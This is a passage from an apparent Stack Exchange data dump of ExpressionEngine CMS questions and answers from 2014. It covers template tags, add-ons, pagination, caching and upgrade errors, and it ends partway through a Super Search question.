  <row Id="25762" PostTypeId="2" ParentId="25730" CreationDate="2014-09-19T01:09:41.967" Score="1" Body="&lt;p&gt;You could use the onsubmit parameter of the Form to check and see if the checkbox is still 'n' and alert the user before allowing the submit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    function checkboxTicked()&#xA;    {&#xA;        var checkbox = document.querySelector('#edit_form input[name=&quot;myCheckbox&quot;]');&#xA;&#xA;        if (checkbox.value == 'n')&#xA;        {&#xA;            //force alert to wait until the form submit has resolved.&#xA;            setTimeout(function(){&#xA;                alert('please check the checkbox before sumbmitting');&#xA;            },10);&#xA;&#xA;            return false;&#xA;        }&#xA;        else&#xA;        {&#xA;            return true;&#xA;        }&#xA;    }&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;{exp:freeform:edit entry_id=&quot;1&quot; form:id=&quot;edit_form&quot; form:onsubmit=&quot;return checkboxTicked();&quot;}&#xA;    //form stuff here&#xA;{/exp:freeform:edit}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-09-19T01:09:41.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25764" PostTypeId="1" CreationDate="2014-09-19T12:42:07.983" Score="0" ViewCount="83" Body="&lt;p&gt;i just installed EE 2.8.0 on a server running php cli. It seems that this is causing issues with creating new templates &amp;amp; uploading files in general.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hosting provider is not willing to make any changes.&#xA;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1548" LastActivityDate="2015-11-18T12:19:55.250" Title="php cli &amp; expression engine" Tags="|assets|file-uploads|hosting|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="25765" PostTypeId="2" ParentId="25639" CreationDate="2014-09-19T13:09:34.017" Score="0" Body="&lt;p&gt;Not quite sure if I understand you, but if you want to return all entries in the channel and plot them, this is similar to what I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gmap:init id=&quot;map&quot; scrollwheel=&quot;false&quot;  style=&quot;width:100%;height:300px&quot;}&#xA;{exp:channel:entries channel=&quot;franchise&quot; status=&quot;open&quot; dynamic=&quot;off&quot;}&#xA;{exp:gmap:marker&#xA;    id=&quot;map&quot;&#xA;    latitude=&quot;{franchise_latitude}&quot;&#xA;    longitude=&quot;{franchise_longitude}&quot;&#xA;    geocode=&quot;false&quot;&#xA;    clustering=&quot;true&quot;&#xA;    icon=&quot;{url}images/map-icon-{categories}{category_url_title}{/categories}.png&quot;&#xA;    infobox=&quot;true&quot;&#xA;    offsetY=&quot;-55&quot;&#xA;    offsetX=&quot;30&quot;&#xA;    closeBoxMargin=&quot;5px&quot;&#xA;    class=&quot;infobox-{categories}{category_url_title}{/categories}&quot;&#xA;    closeBoxURL=&quot;{url}images/close-icon-retailer.png&quot;&#xA;    open_windows=&quot;false&quot;&#xA;    style=&quot;width: '180px'&quot;&#xA;}                           &#xA;    &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;p&amp;gt;{franchise_address}&amp;lt;/p&amp;gt;&#xA;{/exp:gmap:marker}      &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That assumes each entry has been geocoded, though.&lt;/p&gt;&#xA;" OwnerUserId="986" LastActivityDate="2014-09-19T13:09:34.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25766" PostTypeId="1" CreationDate="2014-09-19T13:17:15.493" Score="0" ViewCount="50" Body="&lt;p&gt;I'm sure this addon was supposed to be making my life easier...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to get the import utility of Google Maps for EE working. I'm only have 9 entries I'm trying to upload at first until I know things are okay, but can't even get anywhere with that. When I run it, nothing happens other than the Total Import Time ticking away. Thirty minutes has passed so far and nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone got any advice for things I can start looking for?&lt;/p&gt;&#xA;" OwnerUserId="986" LastActivityDate="2016-05-26T07:21:02.183" Title="How to get the import working?" Tags="|google-maps-for-ee|google-maps|objective-html|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25767" PostTypeId="2" ParentId="25766" CreationDate="2014-09-19T13:46:11.087" Score="0" Body="&lt;p&gt;Emptied the exp_gmap_import_stats table and tried again and it worked.&lt;/p&gt;&#xA;" OwnerUserId="986" LastActivityDate="2014-09-19T13:46:11.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25768" PostTypeId="2" ParentId="9657" CreationDate="2014-09-19T14:32:34.053" Score="0" Body="&lt;p&gt;For those who is still struggling or not sure where and what should be my answer is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;ONE&quot;}&#xA;&#xA;{matrix}&#xA;&#xA;&amp;lt;!--Playa from channel TWO--&amp;gt; &#xA;    {your_playa var_prefix=&quot;any_prefix_you_like&quot;} &#xA;&#xA;    &amp;lt;!--Matrix inside playa--&amp;gt;&#xA;      {any_prefix_you_like:matrix_name field=&quot;PLAYA_FIELD&quot;}&#xA;&#xA;           &amp;lt;!--Playa inside matrix--&amp;gt; &#xA;&#xA;          {any_prefix_you_like:deep_playa}&amp;lt;!--Playa inside playa of matrix from channel THREE--&amp;gt;&#xA;&#xA;            &amp;lt;!--Playa inside matrix--&amp;gt;&#xA;&#xA;      {/any_prefix_you_like:matrix_name}&#xA;     &amp;lt;!--Matrix inside playa--&amp;gt;&#xA;&#xA;    {/your_playa} &#xA;&amp;lt;!--Playa from channel--&amp;gt;&#xA;&#xA;{/matrix}&#xA;&#xA;{/exp:channel:entries}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have spent whole week figuring out how to pull data from 3 different places and mixing them together in reports for client. Enjoy!&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-09-19T14:32:34.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25769" PostTypeId="2" ParentId="12044" CreationDate="2014-09-19T14:39:45.517" Score="0" Body="&lt;p&gt;I'm sorry for not putting my answer here. I have already posted my answer on similar question. Here is the link to &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9657/how-to-display-playa-info-inside-of-matrix/25768#25768&quot;&gt;ANSWER&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-09-19T14:39:45.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25770" PostTypeId="2" ParentId="25678" CreationDate="2014-09-19T15:10:17.127" Score="0" Body="&lt;p&gt;I've actually created an addon which adds a similar feature to Wygwam. I've uploaded this to &lt;a href=&quot;https://github.com/ignetic/ee-wygwam-plugins&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ignetic/ee-wygwam-plugins&lt;/a&gt; which I hope you find useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has 'doksoft_stat' plugin already placed within the wygwam_plugins theme folder, though you might want to look at the 'wordcount' plugin (simply remove the dot from the folder name to enable it). While these don't limit the number of words/characters, it does the next best thing to display the stats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do let me know if this works for you or if you find any issues with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the best...&lt;/p&gt;&#xA;" OwnerUserId="2675" LastActivityDate="2014-09-19T15:10:17.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25771" PostTypeId="1" AcceptedAnswerId="25772" CreationDate="2014-09-19T15:25:16.813" Score="0" ViewCount="98" Body="&lt;p&gt;I've got a directory of locations in a channel, 4500 of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the Google Maps addon but given how many locations we're showing, the performance is terrible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now we're outputting the locations via the Query Module to a JS template formatted as JSON. That JSON file is 1.1Mb&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like to do is some how export that to a static JSON file for say 1 day (rather than run the query each time) and see if the performance improves and have it run a cron to update once a day in the background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doable?&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2014-09-19T16:01:38.760" Title="Output to JSON &amp; save" Tags="|google-maps-for-ee|performance|json|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25772" PostTypeId="2" ParentId="25771" CreationDate="2014-09-19T16:01:38.760" Score="1" Body="&lt;p&gt;Forgive me if I'm misunderstanding, but I think &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/optimization/caching.html#tag-caching&quot; rel=&quot;nofollow&quot;&gt;Tag Caching&lt;/a&gt; on your query module call does what you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure Stash and CE Cache can be used here, too, if you wrap them around the query module tag.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2014-09-19T16:01:38.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25773" PostTypeId="2" ParentId="18561" CreationDate="2014-09-19T17:12:20.597" Score="0" Body="&lt;p&gt;You're much better off using the &lt;code&gt;start_from&lt;/code&gt;parameter for each section of your nav that you would like to display on the front-end, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:nav&#xA;        css_id=&quot;none&quot;&#xA;        css_class=&quot;menu&#xA;        show_level_classes=&quot;yes&quot;&#xA;        current_class=&quot;active&quot;&#xA;        has_children_class=&quot;yes&quot;&#xA;        show_depth=&quot;XXX&quot;&#xA;        max_depth=&quot;XXX&quot;&#xA;        start_from=&quot;/press-releases&quot;&#xA;    }&#xA;    {exp:structure:nav&#xA;        css_id=&quot;none&quot;&#xA;        css_class=&quot;menu&#xA;        show_level_classes=&quot;yes&quot;&#xA;        current_class=&quot;active&quot;&#xA;        has_children_class=&quot;yes&quot;&#xA;        show_depth=&quot;XXX&quot;&#xA;        max_depth=&quot;XXX&quot;&#xA;        start_from=&quot;/SECTION-ONE&quot;&#xA;    }&#xA;    {exp:structure:nav&#xA;        css_id=&quot;none&quot;&#xA;        css_class=&quot;menu&#xA;        show_level_classes=&quot;yes&quot;&#xA;        current_class=&quot;active&quot;&#xA;        has_children_class=&quot;yes&quot;&#xA;        show_depth=&quot;XXX&quot;&#xA;        max_depth=&quot;XXX&quot;&#xA;        start_from=&quot;/SECTION-TWO&quot;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course for each &quot;SECTION&quot; you'll need to use your own page names to get those to output. This gives a bit more flexibility for how you want your navigation to appear on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I almost forgot that you'll also need to use the &lt;code&gt;max_depth&lt;/code&gt; parameter as well.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-09-19T17:12:20.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25774" PostTypeId="1" AcceptedAnswerId="32226" CreationDate="2014-09-19T19:21:14.407" Score="0" ViewCount="240" Body="&lt;p&gt;My question is similar to &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/11338/problem-with-pagination&quot;&gt;this one&lt;/a&gt;, but since it is different enough and has no accepted answers yet, I am posting my question as well. I have a very simple listing page by category with pagination. I am removing &quot;index.php&quot; from the URL's via .htaccess using the code from EllisLab. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When on this page: &lt;code&gt;/products/category/coins&lt;/code&gt;, the pagination links are &lt;code&gt;/products/category/coinsindex.php/P60&lt;/code&gt; and &lt;code&gt;/products/category/coinsindex.php/P120&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is the extra &quot;index.php&quot; coming from? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;{pagination_links}&#xA;&amp;lt;ul class=&quot;pagination&quot;&amp;gt;&#xA;    {first_page}&amp;lt;li class=&quot;&quot;&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-first&quot;&amp;gt;First&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/first_page}&#xA;    {previous_page}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-previous arrow&quot;&amp;gt;&amp;amp;laquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/previous_page}&#xA;    {page}&amp;lt;li {if current_page}class=&quot;current unavailable&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/page}&#xA;    {next_page}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-next arrow&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/next_page}&#xA;    {last_page}&amp;lt;li class=&quot;&quot;&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-last&quot;&amp;gt;Last&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/last_page}&#xA;&amp;lt;/ul&amp;gt;&#xA;{/pagination_links}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/paginate}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="496" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-07-07T21:52:50.310" Title="Pagination adding &quot;index.php&quot; into pagination links after category name" Tags="|pagination|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25775" PostTypeId="2" ParentId="25743" CreationDate="2014-09-19T19:56:08.127" Score="1" Body="&lt;p&gt;One quick and dirty way is to output the data into a template then copy/paste the data into a text editor and save as a .csv&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a template in EE that you'll use to output the data&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a channel entries tag to get the data, something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;my_channel&quot; limit=&quot;999&quot; status=&quot;open|closed&quot; dynamic=&quot;no}&#xA;{entry_id}|{status}|{title}|{custom_field}|{grid_field}{grid_field:fieldname1}, {grid_field:fieldname2}{/grid_field}&#xA;{/exp:channel:entries}&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Call up the template in your browser and copy the output.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You'll note that I use pipe separators and commas to separate grid field values in this example. You'll need to modify it to get the format you want.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2014-09-19T19:56:08.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25776" PostTypeId="2" ParentId="25670" CreationDate="2014-09-19T20:03:39.400" Score="1" Body="&lt;p&gt;Sure is, see Store's total_stock tag - &lt;a href=&quot;https://www.exp-resso.com/docs/product_tag.html#total_stock&quot; rel=&quot;nofollow&quot;&gt;https://www.exp-resso.com/docs/product_tag.html#total_stock&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if total_stock &amp;gt; 0} &#xA;    {total_stock} in Stock &#xA;{if:else} &#xA;    Out of Stock &#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2014-09-19T20:03:39.400" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25777" PostTypeId="2" ParentId="25626" CreationDate="2014-09-19T20:10:39.267" Score="0" Body="&lt;p&gt;Ideally that would be case for a Store extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could do a workaround by using a Grid field to add the image, in the Grid have three fields:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image, &#xA;SKU, &#xA;Description&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upload your images, and add descriptions. You would need to manually type in matching SKU values in the Grid SKU field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have that set up you could use some conditionals (or perhaps JS) to bind/group the Store SKU and Grid SKU together and outur the corresponding images.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2014-09-19T20:10:39.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25778" PostTypeId="1" CreationDate="2014-09-20T07:14:57.193" Score="1" ViewCount="54" Body="&lt;p&gt;I remember when I was still actively using it Ellislab was making decision after decision that just pissed people off including me. Has anything changed for the better since then or do they still follow the same path?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ask because I still have one big site running on EE that I'll be investing more time into shortly. And I'm not sure yet if I want to port it to another CMS or keep running it on EE.&lt;/p&gt;&#xA;" OwnerUserId="569" LastActivityDate="2014-09-20T07:14:57.193" Title="What the Stigma of EE these days?" Tags="|ee|" AnswerCount="0" CommentCount="1" ClosedDate="2014-09-22T20:27:53.850" ContentLicense="CC BY-SA 3.0" />
  <row Id="25779" PostTypeId="2" ParentId="25752" CreationDate="2014-09-20T09:00:59.523" Score="1" Body="&lt;p&gt;It may not have all the features you need, but just in case, &lt;a href=&quot;https://github.com/MaxLazar/mx-title-control&quot; rel=&quot;nofollow noreferrer&quot;&gt;MX Title Control&lt;/a&gt; works in EE 2.9.0 if you have the latest version (2.9) and apply the &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/19974/mx-title-control-not-working-with-ee-2-8-0&quot;&gt;fix in this thread&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="483" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-09-20T09:00:59.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25782" PostTypeId="1" CreationDate="2014-09-20T14:02:23.753" Score="1" ViewCount="71" Body="&lt;p&gt;I am trying to use EE tags inside RTE Editor.  But it is not working. So Can i use EE tags inside RTE Editor? if yes then how can i use?&#xA;Currently using below in Textarea (Rich Text) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;blog&quot;}&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;{title}&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it is displaying as it is.&#xA;So Please how can i use? Looking for quick response&lt;/p&gt;&#xA;" OwnerUserId="3600" LastActivityDate="2014-11-19T19:12:39.423" Title="Can I use EE tags in RTE Editor?" Tags="|channel-entries|richtext|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25783" PostTypeId="1" CreationDate="2014-09-20T14:35:36.710" Score="0" ViewCount="125" Body="&lt;p&gt;Of course. When should I do upgrade? at weekdays because of my users. When paid support works? Only business days.&#xA;What is problem? Upgrade worked fine, BUT i do get blank screen when I try to enter administration.&#xA;I enabled debugging and now I have these errors in admin.php file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Severity: Warning&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message: Cannot modify header information - headers already sent by (output started at site/admin.php:1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: core/EE_Input.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 212&#xA;A PHP Error was encountered&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Severity: Warning&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message: Cannot modify header information - headers already sent by (output started at site/admin.php:1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: core/EE_Input.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 212&#xA;A PHP Error was encountered&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Severity: Warning&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message: Cannot modify header information - headers already sent by (output started at site/admin.php:1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: core/EE_Input.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 212&#xA;A PHP Error was encountered&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Severity: Warning&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message: Cannot modify header information - headers already sent by (output started at site/admin.php:1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: core/EE_Input.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 212&#xA;A PHP Error was encountered&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Severity: Warning&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message: Cannot modify header information - headers already sent by (output started at site/admin.php:1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: libraries/Functions.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 446&lt;/p&gt;&#xA;" OwnerUserId="3582" LastActivityDate="2014-09-20T14:35:36.710" Title="2.9 Upgrade - fail again" Tags="|ee2-upgrades|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25784" PostTypeId="2" ParentId="25782" CreationDate="2014-09-20T16:41:20.357" Score="1" Body="&lt;p&gt;No, you cannot use tags within an RTE field. But depending what you are trying to do, you may find &lt;a href=&quot;http://www.solspace.com/docs/preparse&quot; rel=&quot;nofollow&quot;&gt;Solspace Preparse&lt;/a&gt; useful&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-09-20T16:41:20.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25785" PostTypeId="1" AcceptedAnswerId="25788" CreationDate="2014-09-20T23:08:31.367" Score="1" ViewCount="65" Body="&lt;p&gt;I'm having a problem with a custom field type where I want to return 'some value' on the condition of there being no value in data. This works when I use a tag pair, but not when I use a single tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_field}something here{/my_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will call replace_tag even when $data is empty, but...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will not even call replace_tag unless $data is not empty. In this case I want to force a 'default' value if the field is empty but it appears impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug or intended behaviour to improve performance? Is there some workaround I can use to trick ExpressionEngine into thinking $data has some value before the template is parsed to force it to call replace_tag on single tags?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trawling through the ExpressionEngine core files gives me the impression that what I'm trying to achieve is impossible though I guess there's a mild chance that an extension might be able to rescue me.&lt;/p&gt;&#xA;" OwnerUserId="389" LastEditorUserId="389" LastEditDate="2014-09-21T00:31:18.253" LastActivityDate="2014-09-21T12:34:46.300" Title="Does replace_tag fire for single tags if there is no $data?" Tags="|add-on-development|fieldtype|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25786" PostTypeId="1" CreationDate="2014-09-21T00:49:57.027" Score="0" ViewCount="18" Body="&lt;p&gt;I have one website which uses Solspace User version 3.3.5. The website is running ExpressionEngine version 2.2.2.  I was wondering if my 3.3.5 version of User will still work if I upgrade my ExpressionEngine webite to 2.9?&lt;/p&gt;&#xA;" OwnerUserId="3601" LastActivityDate="2014-09-21T03:54:01.477" Title="Solspace User 3.3.5 compatible with EE 2.9?" Tags="|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25787" PostTypeId="2" ParentId="25786" CreationDate="2014-09-21T01:44:00.960" Score="1" Body="&lt;p&gt;Solspace have a handy version matrix which will help&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/software/compatibility&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.solspace.com/software/compatibility&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;update&lt;/h2&gt;&#xA;&lt;p&gt;You could risk it but I wouldn't. EE altered the form submission system pretty extensively in 2.8+. Take a local copy and try.&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-09-21T03:54:01.477" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25788" PostTypeId="2" ParentId="25785" CreationDate="2014-09-21T12:34:46.300" Score="1" Body="&lt;p&gt;It does &lt;em&gt;not&lt;/em&gt; fire if the field data is empty. You could probably use the &lt;code&gt;channel_entries_row&lt;/code&gt; hook to modify your field value to show the default if blank. I wouldn't do this, though, as that hook will run on &lt;em&gt;every&lt;/em&gt; channel:entries loop and can be quite expensive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest updating your database manually with the default value, and then change your FT's &lt;code&gt;save&lt;/code&gt; method to add a default value if blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SQL to set a default value on an existing field (change XX to your actual field ID):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_data SET field_id_XX = 'your default' WHERE field_id_XX = '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save function setting a default if blank:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save($data)&#xA;{&#xA;    return $data ?: 'your default';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2014-09-21T12:34:46.300" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25789" PostTypeId="2" ParentId="25739" CreationDate="2014-09-22T00:50:24.880" Score="0" Body="&lt;p&gt;If you're setting and getting in the same template, I think you need &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aparse%7D&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;{exp:stash:parse}&lt;/code&gt;&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2014-09-22T00:50:24.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25790" PostTypeId="1" CreationDate="2014-09-22T02:49:22.680" Score="0" ViewCount="61" Body="&lt;p&gt;How do you get the filesize of the file when using Matrix?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{downloads}&#xA;  {download_name} {file_size} {size}&#xA;{/download}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;returns&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Download name {file_size} {size}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3367" LastActivityDate="2016-06-01T01:03:03.280" Title="Get Filesize when using Matrix flle field" Tags="|matrix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25792" PostTypeId="1" AcceptedAnswerId="25797" CreationDate="2014-09-22T05:48:40.623" Score="0" ViewCount="64" Body="&lt;p&gt;I am using Structure to create and order the pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am having an issue where the parent page is displaying the data of the child page instead of it's own data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All 3 pages uses the same channel.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Parent&#xA; - Child 1&#xA; - Child 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Eg instead of displaying the title &lt;code&gt;Parent&lt;/code&gt; it is displaying &lt;code&gt;child 2&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries channel=&quot;page&quot; dynamic=&quot;off&quot; url_title=&quot;{segment_2}&quot; limit=&quot;1&quot;}&#xA;   {title}&#xA;  {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3367" LastActivityDate="2014-09-22T14:46:00.807" Title="Parent page showing content from child page instead" Tags="|channel-entries|structure|pages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25795" PostTypeId="1" AcceptedAnswerId="25811" CreationDate="2014-09-22T09:14:14.043" Score="0" ViewCount="155" Body="&lt;p&gt;We display all the entries on our site using a Super Search loop inside an embed called results.html which we embed on the main page on our site. These display our posts by default, instead of using a standard channel entries tag... &lt;em&gt;(I think we originally took this approach as we were using AJAX searching, but we have since abandoned this and are just using standard searching now).&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're trying to make Super Search search multiple channels (Teachers, Schools and Zoo Visitor), but we only want to display results for two of these channels (Schools and Zoo Visitor) when keywords are being searched for. This is because we don't want to have a list of posts populated by the less important content from these channels, but we still want to keep the channels searchable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have managed to get this working by using the setup outlined below, and more specifically, the following condition allows us to detect if keywords have been searched for 